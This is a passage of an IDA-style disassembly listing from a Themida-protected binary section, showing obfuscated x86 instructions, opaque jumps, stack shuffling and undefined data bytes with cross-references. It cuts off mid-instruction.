--------------------------------------------------------------------------- loc_5AB882: ; CODE XREF: Themida_:005A5AE0j pop edx pop bx push small 709Fh mov [esp], bx push eax mov ah, 6Bh shl ah, 6 jmp loc_5ACF5E ; --------------------------------------------------------------------------- aVhoy db 'VhOy',0 align 2 dw 2489h dd 24048324h, 0EC815E04h, 4, 0BB241C89h, 12783C2Ah, 8904EC83h dd 0BB532434h, 45F35881h, 156FE9h, 24248B00h, 4B30F66h dd 0AEE99C24h, 5FFFFF39h, 0FED3DBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AB8D9: ; CODE XREF: Themida_:005A6566j push ebx push 32D903F7h jmp loc_59F828 ; --------------------------------------------------------------------------- loc_5AB8E4: ; CODE XREF: Themida_:005A0540j xchg ebp, [esp] jmp loc_59C403 ; --------------------------------------------------------------------------- loc_5AB8EC: ; CODE XREF: Themida_:005996D5j ; Themida_:0059DDDFj mov edx, 2FF930E8h add eax, 44F6E04h add eax, 12A3108Dh add eax, edx sub eax, 12A3108Dh push ebp push edx mov edx, 0CC54B6Fh add edx, 615E1EEFh or edx, 549D4CEDh not edx or edx, 6071220Ch xor edx, 0E53EDD08h mov ebp, edx push dword ptr [esp] jmp loc_5AF68A ; --------------------------------------------------------------------------- byte_5AB92D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00598924o aSg8 db '$И┐8',0 align 2 loc_5AB936: ; CODE XREF: Themida_:005AB4C1j add ch, 13h jmp loc_5A23E9 ; --------------------------------------------------------------------------- word_5AB93E dw 77FFh ; DATA XREF: Themida_:005987B4o dd 58669D1Ch, 9C240410h, 0FED056E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AB94D: ; CODE XREF: Themida_:005A41BAj mov edi, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5A433B ; --------------------------------------------------------------------------- loc_5AB965: ; CODE XREF: Themida_:005AA60Ej mov ebx, 6A421636h shr ebx, 3 jmp loc_5AB0EA ; --------------------------------------------------------------------------- loc_5AB972: ; CODE XREF: Themida_:005A50CEj push esi mov esi, 23CC3A7Dh mov eax, 0A3708E4h add eax, esi pop esi sub edx, 1AC6506Dh add edx, 7556078Dh add edx, eax sub edx, 7556078Dh add edx, 1AC6506Dh jmp loc_59E2E1 ; --------------------------------------------------------------------------- loc_5AB99F: ; CODE XREF: Themida_:005A353Aj push eax jmp loc_5A27E6 ; --------------------------------------------------------------------------- db 1, 0F7h, 0E9h dd 0FFFEE468h ; --------------------------------------------------------------------------- loc_5AB9AC: ; CODE XREF: Themida_:005AD7B7j shl ebx, 4 and ebx, 7EA06660h sub ebx, 31BF71EEh shl ebx, 2 sub ebx, 6F729B71h mov edi, ebx mov ebx, [esp] add esp, 4 sub edi, 54E13A5Fh jl loc_5A2208 xor edi, 52DE3100h jg loc_5AF621 push ecx mov ecx, 4E77E6Eh jmp loc_59A0B7 ; --------------------------------------------------------------------------- db 5Ah ; --------------------------------------------------------------------------- loc_5AB9F0: ; CODE XREF: Themida_:005A9461j add esi, 4 push edi mov edi, 4 add esi, edi pop edi push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] shr eax, 8 jmp loc_5A6F0F ; --------------------------------------------------------------------------- db 66h dd 662EDD68h, 0B6241489h, 0A797E90Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ABA22: ; CODE XREF: Themida_:005A4773j add ebx, edi pop edi push ebp mov ebp, 53AE2427h not ebp push edx mov edx, 6F0829CFh jmp loc_59DCC6 ; --------------------------------------------------------------------------- loc_5ABA38: ; CODE XREF: Themida_:005A0780j push esp jmp loc_5A2317 ; --------------------------------------------------------------------------- loc_5ABA3E: ; CODE XREF: Themida_:005A48FAj add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_5AE080 ; --------------------------------------------------------------------------- dw 0E289h dd 4C281h, 54550000h, 4C5815Dh, 0E9000000h, 2FB4h, 4C181h dd 0E9830000h, 240C8704h, 2424895Ch, 4240481h, 0E9000000h dd 300h ; --------------------------------------------------------------------------- loc_5ABA80: ; CODE XREF: Themida_:005A3879j mov edx, ebp push dword ptr [esp] jmp loc_5AAB8C ; --------------------------------------------------------------------------- loc_5ABA8A: ; CODE XREF: Themida_:005AECAEj pop esi shr ecx, 2 push ebx push dword ptr [esp] pop eax push 6059h jmp loc_5A15A9 ; --------------------------------------------------------------------------- loc_5ABA9D: ; CODE XREF: Themida_:0059CB30j jp loc_5AF3A0 dec ebx jno loc_5A1B79 or ebx, 2B3D7309h jmp loc_5A2441 ; --------------------------------------------------------------------------- db 80h, 0EBh, 43h dd 0F1E95853h, 0B9000041h, 46F51035h, 6D89C981h, 8B0F6619h dd 0DB6h, 0F08E1C1h, 16E688h, 4C18100h, 89028243h, 224DE9CAh dd 0DF8B0000h ; --------------------------------------------------------------------------- loc_5ABAE8: ; CODE XREF: Themida_:005A1B49j pop edx push esi mov esi, 2 add ebx, esi mov esi, [esp] add esp, 4 xor ebx, [esp] jmp loc_5AA65B ; --------------------------------------------------------------------------- dw 895Ch dd 0E589242Ch, 0FFC224E9h db 0FFh ; --------------------------------------------------------------------------- loc_5ABB0D: ; CODE XREF: Themida_:0059BCBFj mov edi, 3F10734Dh jmp loc_5A113D ; --------------------------------------------------------------------------- loc_5ABB17: ; CODE XREF: Themida_:005AAD06j mov [esp], ecx push edx push 607A2AADh pop edx jmp loc_59E3F1 ; --------------------------------------------------------------------------- loc_5ABB26: ; CODE XREF: Themida_:00599311j push esi mov esi, esp jmp loc_59E28A ; --------------------------------------------------------------------------- loc_5ABB2E: ; CODE XREF: Themida_:005AF902j mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ebp, edi jmp loc_5A3D3A ; --------------------------------------------------------------------------- loc_5ABB48: ; CODE XREF: Themida_:005A980Bj mov edx, 471C1E27h add [esp+8], edx pop edx push dword ptr [esp] pop eax add esp, 4 add dword ptr [esp], 71906020h sub [esp], eax jmp loc_5ACA32 ; --------------------------------------------------------------------------- db 1 dd 79A0E9C2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ABB72: ; CODE XREF: Themida_:005A0FDEj sub edx, 0D791EDB9h add ebx, edx jmp loc_59F104 ; --------------------------------------------------------------------------- loc_5ABB7F: ; CODE XREF: Themida_:005A0DB5j mov edi, edx mov edx, [esp] push ebp push esp jmp loc_5989B1 ; --------------------------------------------------------------------------- db 0B8h dd 56305DFAh, 0C158C789h, 0EFC103E7h, 4EC8102h, 89000000h dd 0FFBB241Ch, 81017079h, 1EBh, 5E3C100h, 6DBCB81h, 0D1E93FF0h db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5ABBBB: ; CODE XREF: Themida_:005A49CEj add esp, 4 pop esi loc_5ABBC2: ; CODE XREF: Themida_:005A0BE0j push 7F4Eh jmp loc_5AB2E9 ; --------------------------------------------------------------------------- loc_5ABBCC: ; CODE XREF: Themida_:005A30C2j pop edx add ecx, 29940A50h jmp loc_59B957 ; --------------------------------------------------------------------------- loc_5ABBD8: ; CODE XREF: Themida_:005AED1Bj push ecx push edi mov edi, 7F1C3021h mov ecx, 83F0E95Dh sub ecx, 338C0DE8h sub ecx, 0B890D40h jmp loc_59D374 ; --------------------------------------------------------------------------- loc_5ABBF5: ; CODE XREF: Themida_:005AA4DEj js loc_59B164 jmp loc_5AA86F ; --------------------------------------------------------------------------- dd 330CC924h, 5E51D0F6h, 2BE66h, 24740166h, 0EA90E902h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5ABC16: ; CODE XREF: Themida_:005AF691j sub eax, 5A03512h add eax, 7584258Fh sub eax, ebp sub eax, 7584258Fh add eax, 5A03512h pop ebp push dword ptr [esp] pop edx add esp, 4 jmp loc_5A71DC ; --------------------------------------------------------------------------- dd 0BAF70DBAh, 0E9D031F2h, 0FFFED7C3h ; --------------------------------------------------------------------------- loc_5ABC48: ; CODE XREF: Themida_:005A3F25j add edx, eax jmp loc_5A5D67 ; --------------------------------------------------------------------------- loc_5ABC4F: ; CODE XREF: Themida_:0059FC05j mov ebx, 32EE7D04h or ebx, 53D87871h jbe loc_5ACBFC add ebx, 0FB3C8468h add ebp, ebx jmp loc_5A4654 ; --------------------------------------------------------------------------- loc_5ABC6D: ; CODE XREF: Themida_:005A94D5j mov ecx, [esp] push edi mov edi, esp add edi, 4 jmp loc_5AB3CF ; --------------------------------------------------------------------------- dw 0C383h dd 241C8704h, 705E9h db 0 ; --------------------------------------------------------------------------- loc_5ABC89: ; CODE XREF: Themida_:0059C332j push esi push ebp push 62365A66h pop ebp shr ebp, 4 jnz loc_5A6AC0 push eax mov eax, 2E23690Ch shl eax, 8 jnp loc_59B49F jnz loc_5A6F66 jmp loc_5AAEB1 ; --------------------------------------------------------------------------- dd 1C0668h, 24348900h, 0AC68152h, 81214B20h, 0AB291AC6h dd 98EE8168h, 8140D96Ch, 0B3749AC6h, 78C68108h, 0E91FE910h dd 29BEh ; --------------------------------------------------------------------------- loc_5ABCE0: ; CODE XREF: Themida_:005AA166j add ebx, eax pop eax jmp loc_5AC7CD ; --------------------------------------------------------------------------- loc_5ABCE8: ; CODE XREF: Themida_:005A072Ej push esi mov esi, 2 mov eax, esi jmp loc_59B974 ; --------------------------------------------------------------------------- loc_5ABCF5: ; CODE XREF: Themida_:0059A103j mov eax, 4 add [esp+4], eax pop eax push dword ptr [esp] pop eax add esp, 4 push ecx push ebx mov ebx, 5B463DB4h inc ebx jmp loc_5A19B1 ; --------------------------------------------------------------------------- loc_5ABD13: ; CODE XREF: Themida_:005ABDB9j mov [esp], ebx push edx mov edx, 4 jmp loc_59AEEA ; --------------------------------------------------------------------------- loc_5ABD21: ; CODE XREF: Themida_:005A69D7j sub edx, ebp jmp loc_5AED7D ; --------------------------------------------------------------------------- loc_5ABD28: ; CODE XREF: Themida_:005AE1A6j mov dx, [esp] push 8DEh mov [esp], edx jmp loc_5A801F ; --------------------------------------------------------------------------- db 52h, 0B2h, 65h dd 0E280CAFEh, 57C280BFh, 0FFBDF8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5ABD49: ; CODE XREF: Themida_:005A2590j mov [esp], edx mov edx, 63F47A6Ah xor edi, edx mov edx, [esp] add esp, 4 add esi, 26180E49h add esi, edi sub esi, 26180E49h pop edi jmp loc_59F240 ; --------------------------------------------------------------------------- loc_5ABD6D: ; CODE XREF: Themida_:0059D833j sub esp, 4 jmp loc_59CB24 ; --------------------------------------------------------------------------- loc_5ABD78: ; CODE XREF: Themida_:005A8764j mov ecx, [esp] jmp loc_59DEF4 ; --------------------------------------------------------------------------- dd 5224048Bh, 0C281E289h, 4, 0E904C283h, 0FFFF7B99h, 5B1A68h dd 194FE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ABD9E: ; CODE XREF: Themida_:0059F694j pop edx shr edx, 8 jmp loc_5A7BE8 ; --------------------------------------------------------------------------- loc_5ABDA7: ; CODE XREF: Themida_:005AB1C0j add edx, 38847B42h add edx, 0B2272C8Ch add esi, edx pop edx sub esp, 4 jmp loc_5ABD13 ; --------------------------------------------------------------------------- loc_5ABDBE: ; CODE XREF: Themida_:005AA468j mov eax, 6980359Ah dec eax jmp loc_5A393D ; --------------------------------------------------------------------------- loc_5ABDC9: ; CODE XREF: Themida_:005AEBE5j mov [esp], edx push ebp mov ebp, esp jmp loc_599240 ; --------------------------------------------------------------------------- loc_5ABDD4: ; CODE XREF: Themida_:0059C976j mov cl, 5Fh push edx jmp loc_59FCE3 ; --------------------------------------------------------------------------- loc_5ABDDC: ; CODE XREF: Themida_:005A8D72j push ecx mov ecx, 1 and eax, ecx push dword ptr [esp] pop ecx jmp loc_599522 ; --------------------------------------------------------------------------- loc_5ABDED: ; CODE XREF: Themida_:0059DF50j and eax, edx push dword ptr [esp] push dword ptr [esp] jmp loc_59C11D ; --------------------------------------------------------------------------- loc_5ABDFA: ; CODE XREF: Themida_:0059D2B8j sub ebx, 6BAAC20h mov edx, ebx pop ebx xor edx, 47AE7FEAh jb loc_5A8EBD sub edx, 47EE0FBFh sub edx, 5D2B7F12h jl loc_5A4EC3 or edx, 7A82E57h mov ebx, edi mov ch, 73h jmp loc_5A9521 ; --------------------------------------------------------------------------- loc_5ABE30: ; CODE XREF: Themida_:0059D236j mov [esp], ebx jmp loc_59F8B8 ; --------------------------------------------------------------------------- loc_5ABE38: ; CODE XREF: Themida_:0059BA8Dj mov esi, 4381286Bh jmp loc_59C5F4 ; --------------------------------------------------------------------------- loc_5ABE42: ; CODE XREF: Themida_:005ADE37j and edi, 7537526Ch dec edi js loc_59FE5A push esi push edx mov edx, 3E3F3D69h push 0DE4390Ah jmp loc_5A8E7A ; --------------------------------------------------------------------------- loc_5ABE60: ; CODE XREF: Themida_:005AEFCDj push 27D2h mov [esp], ecx push 7045h jmp loc_5AD314 ; --------------------------------------------------------------------------- dw 8951h dd 114DE9E1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ABE7A: ; CODE XREF: Themida_:005AB53Dj mov eax, 6BA225FAh xor eax, 7B765575h xor edx, eax pop eax add ebp, edx pop edx push 6328h mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] add esp, 4 jmp loc_5A8243 ; --------------------------------------------------------------------------- loc_5ABEA5: ; CODE XREF: Themida_:005A0C18j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax mov eax, 6A6338DAh or eax, 4F753E07h add eax, 3E710C4Eh jl loc_59BFFB neg eax jns loc_59BA50 shl eax, 7 jp loc_59920E mov ecx, edi mov ebx, esi loc_5ABEDC: ; CODE XREF: Themida_:0059B788j mov ecx, [esp] add esp, 4 jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5ABEEA: ; CODE XREF: Themida_:0059B6A4j xor eax, 0D468F5ADh jmp loc_59FB57 ; --------------------------------------------------------------------------- loc_5ABEF4: ; CODE XREF: Themida_:005A5C37j pop ecx mov ebx, [esp] jmp loc_5AC3AB ; --------------------------------------------------------------------------- loc_5ABEFD: ; CODE XREF: Themida_:005AC5E7j not dword ptr [esp] pop edi add edi, 0EFEF9CD4h add esi, edi pop edi add esi, 51173C29h push dword ptr [esp] pop edx jmp loc_5A97F6 ; --------------------------------------------------------------------------- loc_5ABF19: ; CODE XREF: Themida_:005A0F5Bj xor edi, 3E395C00h xor edi, 1AC103C5h add eax, edi pop edi pop ecx xor ebx, eax jmp loc_59FAA1 ; --------------------------------------------------------------------------- loc_5ABF30: ; CODE XREF: Themida_:00599830j mov ah, 3Dh or ah, 22h sub ah, 35h shr ah, 7 inc ah neg ah add ah, 2 sub bl, ah pop eax not bl xor bl, 4Fh sub al, bl pop ebx add al, 0BBh push bx jmp loc_5A6750 ; --------------------------------------------------------------------------- dw 8F66h dd 68662404h, 0AE92C21h db 9, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5ABF63: ; CODE XREF: Themida_:005A4059j neg edx jbe loc_5AF696 jmp loc_5A2550 ; --------------------------------------------------------------------------- dd 4B9h db 0, 89h, 0C2h ; --------------------------------------------------------------------------- loc_5ABF77: ; CODE XREF: Themida_:0059EE44j push ebx mov bh, 1 push eax push ecx mov cl, 1Bh not cl inc cl jl loc_59AA7C jmp loc_5AC2C2 ; --------------------------------------------------------------------------- db 59h, 0E9h, 0B1h dd 43FFFF48h, 24048F54h, 0FF83BAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5ABF9D: ; CODE XREF: Themida_:0059C3FEj sub edx, 174F6DB7h sub edx, ebx add edx, 174F6DB7h sub edx, 355C4354h mov ebx, [esp] add esp, 4 jmp loc_5A6C5E ; --------------------------------------------------------------------------- loc_5ABFBF: ; CODE XREF: Themida_:0059B1E6j mov [esp], ebp push 6D0F1873h jmp loc_5AA0BE ; --------------------------------------------------------------------------- loc_5ABFCC: ; CODE XREF: Themida_:005ACF1Cj not eax inc eax shr eax, 3 dec eax not eax shr eax, 1 push 3630h mov [esp], edi push eax mov eax, 0FD116D3h shr eax, 5 shr eax, 6 jmp loc_59B69D ; --------------------------------------------------------------------------- loc_5ABFF0: ; CODE XREF: Themida_:005A72E3j pop edx shl esi, 3 sub esi, 0FAEBE748h add edi, esi mov esi, [esp] add esp, 4 add ecx, edi pop edi pop ebx jmp loc_59E409 ; --------------------------------------------------------------------------- word_5AC00E dw 8B66h ; DATA XREF: Themida_:00598704o dd 5453240Ch, 0D27E95Bh, 89660000h, 0FF662434h, 66022474h dd 5124348Bh, 0C1815954h, 4, 0FFA75BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5AC035: ; CODE XREF: Themida_:0059F0B2j add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp shr ecx, 0 or eax, eax jz loc_5A6A7C push ebx push 176Dh jmp loc_59CF14 ; --------------------------------------------------------------------------- byte_5AC05B db 83h ; DATA XREF: Themida_:0059876Co dd 1CE904ECh db 0F0h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AC063: ; CODE XREF: Themida_:005A908Fj xchg bl, al jmp loc_59A6EB ; --------------------------------------------------------------------------- word_5AC06A dw 8B66h ; DATA XREF: Themida_:00598954o dd 0BA682404h, 8900002Ah, 8B54243Ch, 0BFE9243Ch db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AC07F: ; CODE XREF: Themida_:005AD744j xor eax, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop eax push 0B5h mov [esp], edi push 5C8Fh mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] add esp, 4 add edi, 4 jmp loc_5A8AD5 ; --------------------------------------------------------------------------- dword_5AC0B4 dd 51D830ACh, 52565954h, 4BAh, 5AD68900h, 525EF101h, 4BAh ; DATA XREF: Themida_:00598868o dd 5AD12900h, 5C240C87h, 0E9241489h, 0FFFFC881h ; --------------------------------------------------------------------------- loc_5AC0DC: ; CODE XREF: Themida_:005ACC42j pop edi jmp loc_5AD3B5 ; --------------------------------------------------------------------------- loc_5AC0E2: ; CODE XREF: Themida_:00598F21j mov [esp], eax push 4BFh mov [esp], ecx mov cl, bl mov ah, cl pop ecx push eax mov ah, ch mov bl, ah pop eax mov ch, ah pop eax xor ch, 3Dh push ecx jmp loc_5A7FE5 ; --------------------------------------------------------------------------- loc_5AC104: ; CODE XREF: Themida_:005A55F9j mov edx, [esp] jmp loc_5A2573 ; --------------------------------------------------------------------------- loc_5AC10C: ; CODE XREF: Themida_:00598E82j pop ebx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push edx pop ebx mov edx, [esp] add esp, 4 push ebp mov ebp, esp jmp loc_5A66D9 ; --------------------------------------------------------------------------- loc_5AC12C: ; CODE XREF: Themida_:0059F48Cj mov ah, 76h push 1B9Ch mov [esp], ecx jmp loc_5AAC87 ; --------------------------------------------------------------------------- loc_5AC13B: ; CODE XREF: Themida_:005AC710j mov esi, 3E87882h jmp loc_599484 ; --------------------------------------------------------------------------- loc_5AC145: ; CODE XREF: Themida_:005A34ADj mov [esp], edx jmp loc_5A9C9D ; --------------------------------------------------------------------------- loc_5AC14D: ; CODE XREF: Themida_:005AE709j push edx mov edx, 0B9234C30h add ebx, 495E1232h sub ebx, edx sub ebx, 495E1232h pop edx jmp loc_5A5F19 ; --------------------------------------------------------------------------- loc_5AC167: ; CODE XREF: Themida_:0059E552j or edx, eax shl edx, 1 push 3247h jmp loc_599A8A ; --------------------------------------------------------------------------- loc_5AC175: ; CODE XREF: Themida_:005A0B38j add ebp, 36E553C3h sub ebp, 31B73E8Eh add ebp, ecx add ebp, 31B73E8Eh jmp loc_599792 ; --------------------------------------------------------------------------- loc_5AC18E: ; CODE XREF: Themida_:0059EEA5j push esi mov si, 1AB2h shr si, 3 sub si, 0FFFFh push 4DB1h mov [esp], edi mov di, 6465h jmp loc_5A4720 ; --------------------------------------------------------------------------- db 81h, 0EFh, 3Fh dd 810FE356h, 8637EBEFh, 50C70174h, 8C6299B8h, 4EC811Dh dd 89000000h, 0FDBF243Ch, 0E9502A37h, 0FFFFCA79h ; --------------------------------------------------------------------------- loc_5AC1D4: ; CODE XREF: Themida_:0059FEEEj shr ebx, 5 jns loc_5A72FE shl ebx, 3 add ebx, 0CE6A6F7Bh jmp loc_59EB3B ; --------------------------------------------------------------------------- loc_5AC1EB: ; CODE XREF: Themida_:005A1AC8j inc ebx jp loc_5A8459 xor ebx, 73DA5DECh jl loc_5A0E5B push edi pop esi loc_5AC200: ; CODE XREF: Themida_:005A0E33j ; Themida_:loc_5A411Aj pop edx xchg edi, [esp] mov esp, [esp] jmp loc_59BDF3 ; --------------------------------------------------------------------------- loc_5AC20C: ; CODE XREF: Themida_:005AA311j xor ebx, [esp] mov esp, [esp] mul cl movzx cx, ah push small 194h mov [esp], cx movzx cx, al jmp loc_5A88FB ; --------------------------------------------------------------------------- loc_5AC229: ; CODE XREF: Themida_:005AE1AEj add esp, 4 jmp loc_5A2D16 ; --------------------------------------------------------------------------- loc_5AC231: ; CODE XREF: Themida_:005A07FBj mov [esp], ecx jmp loc_5A7BA4 ; --------------------------------------------------------------------------- db 52h, 53h, 0BBh dd 10226405h, 1F00C381h, 7EE956B6h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_5AC24B: ; CODE XREF: Themida_:005A0DE9j push ebp mov ebp, 5FCC1AD6h not ebp shr ebp, 3 jns loc_5AE115 add ebp, 600660AAh jmp loc_599131 ; --------------------------------------------------------------------------- byte_5AC267 db 66h ; DATA XREF: Themida_:00598898o dd 6824048Bh, 37A9h, 54243C89h, 0E9243C8Bh, 0FFFF1981h dd 0E64255BDh, 0E9E80138h, 0FFFEC75Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx jmp loc_5AB4F0 ; --------------------------------------------------------------------------- loc_5AC2A3: ; CODE XREF: Themida_:0059FA89j add edi, ecx mov ecx, [esp] add esp, 4 sub edx, edi jmp loc_5A12EA ; --------------------------------------------------------------------------- loc_5AC2B5: ; CODE XREF: Themida_:0059F2C8j push esi mov esi, 0D6CCF76h add ebx, esi jmp loc_5AFBA2 ; --------------------------------------------------------------------------- loc_5AC2C2: ; CODE XREF: Themida_:00599B05j ; Themida_:005ABF88j and ecx, 17FD4A97h dec ecx jnp loc_59AFFD jmp loc_5A3830 ; --------------------------------------------------------------------------- dd 5A5B5253h db 88h, 0D1h ; --------------------------------------------------------------------------- loc_5AC2DA: ; CODE XREF: Themida_:005AC645j mov eax, [esp] push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5A6BC1 ; --------------------------------------------------------------------------- loc_5AC306: ; CODE XREF: Themida_:0059E703j pop ebp jmp loc_59B655 ; --------------------------------------------------------------------------- dd 4C481h, 0BD550000h, 4, 815DEE01h, 4C6h, 0FA4EE900h db 0FEh, 0FFh word_5AC326 dw 74FFh ; DATA XREF: Themida_:00598774o dd 34FF0424h, 50685824h, 89000079h, 0FCE92404h db 72h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AC33B: ; CODE XREF: Themida_:005A68C9j mov ebx, 0 jmp loc_5AD592 ; --------------------------------------------------------------------------- db 5Dh, 1, 0D5h dd 5724148Bh, 0CFE9E789h db 3Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AC353: ; CODE XREF: Themida_:loc_5A6100j ; Themida_:005AE57Dj push ebx sub dword ptr [esp], 35836ECFh jmp loc_5AA732 ; --------------------------------------------------------------------------- dd 1B850h, 6CE90000h db 78h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AC36B: ; CODE XREF: Themida_:005A8AECj push 4BF4h mov [esp], ecx jmp loc_5AE643 ; --------------------------------------------------------------------------- loc_5AC378: ; CODE XREF: Themida_:0059CD75j jmp loc_5AAB0C ; --------------------------------------------------------------------------- loc_5AC37D: ; CODE XREF: Themida_:005A4941j add ecx, 4 add ecx, 4 jmp loc_5A9D66 ; --------------------------------------------------------------------------- loc_5AC38E: ; CODE XREF: Themida_:0059C088j pop esp push ecx push 4 jmp loc_5A3E56 ; --------------------------------------------------------------------------- loc_5AC39A: ; CODE XREF: Themida_:005A621Fj xor ecx, 0ECF79CDh push esi mov esi, 1A752F21h jmp loc_5A8164 ; --------------------------------------------------------------------------- loc_5AC3AB: ; CODE XREF: Themida_:005ABEF8j add esp, 4 push ebx jmp loc_5A53F4 ; --------------------------------------------------------------------------- loc_5AC3B4: ; CODE XREF: Themida_:005A5CC3j mov cl, ah mov dh, cl pop ecx mov bh, dh mov edx, [esp] add esp, 4 jmp loc_5A7679 ; --------------------------------------------------------------------------- loc_5AC3C9: ; CODE XREF: Themida_:005AB342j pop dword ptr [esp] jmp loc_5A5646 ; --------------------------------------------------------------------------- loc_5AC3D1: ; CODE XREF: Themida_:0059FB5Aj xor eax, edi push dword ptr [esp] pop edi add esp, 4 add esi, 37C4FD1h add esi, eax push ebp mov ebp, 1DF47B0Bh add ebp, 0BCC1B20h add ebp, 0D9BBB9A6h jmp loc_5A978B ; --------------------------------------------------------------------------- dd 4240481h, 0FF000000h, 815D2434h, 4C4h, 40316800h, 0BBE90000h db 2 dup(0FEh), 0FFh ; --------------------------------------------------------------------------- loc_5AC417: ; CODE XREF: Themida_:0059FB23j push ebx mov ebx, 570E4A84h push ecx mov ecx, 3D0A4868h add ebx, 56A809AEh add ebx, ecx sub ebx, 56A809AEh mov ecx, [esp] jmp loc_59E527 ; --------------------------------------------------------------------------- loc_5AC439: ; CODE XREF: Themida_:005AE5EFj xor eax, 3ED86D23h add esi, eax pop eax neg esi push ebp mov ebp, 53267D82h sub esi, ebp pop ebp sub edi, esi pop esi add edi, ebx add edi, 5C300C75h sub edi, 2E7F2384h push dword ptr [esp] mov ebx, [esp] add esp, 4 push edx mov edx, esp jmp loc_59E0D0 ; --------------------------------------------------------------------------- loc_5AC46E: ; CODE XREF: Themida_:005A4B1Ej mov ecx, [esp] add esp, 4 push ecx mov ecx, 33F51E6Fh jmp loc_5AF36B ; --------------------------------------------------------------------------- loc_5AC47F: ; CODE XREF: Themida_:00599F20j or [esp], ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AC489: ; CODE XREF: Themida_:005A70A8j pop ecx shr dh, 3 jmp loc_5A082F ; --------------------------------------------------------------------------- loc_5AC492: ; CODE XREF: Themida_:005A2B82j mov edx, esp jmp loc_5AF41D ; --------------------------------------------------------------------------- loc_5AC499: ; CODE XREF: Themida_:005A5A93j push esp pop edi jmp loc_599682 ; --------------------------------------------------------------------------- loc_5AC4A0: ; CODE XREF: Themida_:005A9B04j inc eax jp loc_5AEEB1 shl eax, 3 jmp loc_5A58E7 ; --------------------------------------------------------------------------- db 89h db 14h, 24h, 52h ; --------------------------------------------------------------------------- loc_5AC4B3: ; CODE XREF: Themida_:005A1AEDj pop ecx jmp loc_5AED27 ; --------------------------------------------------------------------------- loc_5AC4B9: ; CODE XREF: Themida_:005AF128j push ecx mov ecx, 3CA93111h sub ebp, ecx pop ecx not ebp jmp loc_59B31B ; --------------------------------------------------------------------------- db 0F7h, 0DBh, 0Fh dd 0FF81FB80h, 0FFF381FFh, 8999277Ch, 0D1015BDAh, 0E689565Ah dd 4C681h, 0EE830000h, 24348704h, 2404895Ch, 203DBE56h dd 0C7B84EE6h, 0E9B119DFh, 0FFFEDC95h ; --------------------------------------------------------------------------- loc_5AC500: ; CODE XREF: Themida_:005AC76Cj add esi, 5161211Ch mov ebp, esi mov esi, [esp] add esp, 4 jmp loc_59CBD0 ; --------------------------------------------------------------------------- loc_5AC513: ; CODE XREF: Themida_:005A74E5j mov ebx, 10883675h not ebx sub ebx, 1 shl ebx, 1 neg ebx not ebx push edx jmp loc_5A9EDC ; --------------------------------------------------------------------------- db 52h, 0E9h, 7Ch db 0F5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AC52F: ; CODE XREF: Themida_:0059BE54j sub edx, 3CB32024h pop ebx sub esi, edx pop edx add esi, 0FDADF70Ah mov ebx, esi mov esi, [esp] add esp, 4 add eax, 68197670h add eax, ebx sub eax, 68197670h pop ebx push eax jmp loc_5A2863 ; --------------------------------------------------------------------------- dw 0ED81h dd 1, 8F3BED81h, 0E8013229h, 5D2434FFh, 0FEDDB3E9h, 0F9B850FFh dd 0E9322D4Eh, 0FFFF8C66h, 89DC281h, 835D4C41h, 0FF5202C2h dd 5A042474h, 8B24048Fh, 31662424h, 33662434h, 31662434h dd 0E92434h db 0C4h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AC5A3: ; CODE XREF: Themida_:0059DB77j add esp, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], edx mov dh, 0Fh push ebx mov bl, dh push eax jmp loc_5AD7E8 ; --------------------------------------------------------------------------- loc_5AC5C1: ; CODE XREF: Themida_:0059D432j sub dword ptr [esp], 66851F20h pop edx add edx, 66851F20h pop ebx sub esi, 51173C29h sub esi, 1DC80638h sub esi, edx push edi mov edi, 2DD86965h neg edi push edi jmp loc_5ABEFD ; --------------------------------------------------------------------------- loc_5AC5EC: ; CODE XREF: Themida_:005A3267j push dword ptr [esp] pop ebp add esp, 4 add ebx, ecx add ebx, 26A155A7h push ecx mov ecx, 0 push ebp mov ebp, 463F23E3h add ecx, ebp pop ebp add ecx, ebx sub ecx, 463F23E3h push ebx mov ebx, 0 add ebx, ecx mov eax, [ebx] pop ebx jmp loc_5A07EE ; --------------------------------------------------------------------------- loc_5AC622: ; CODE XREF: Themida_:0059A0C9j ; Themida_:005AC98Aj pop edx xor ebx, 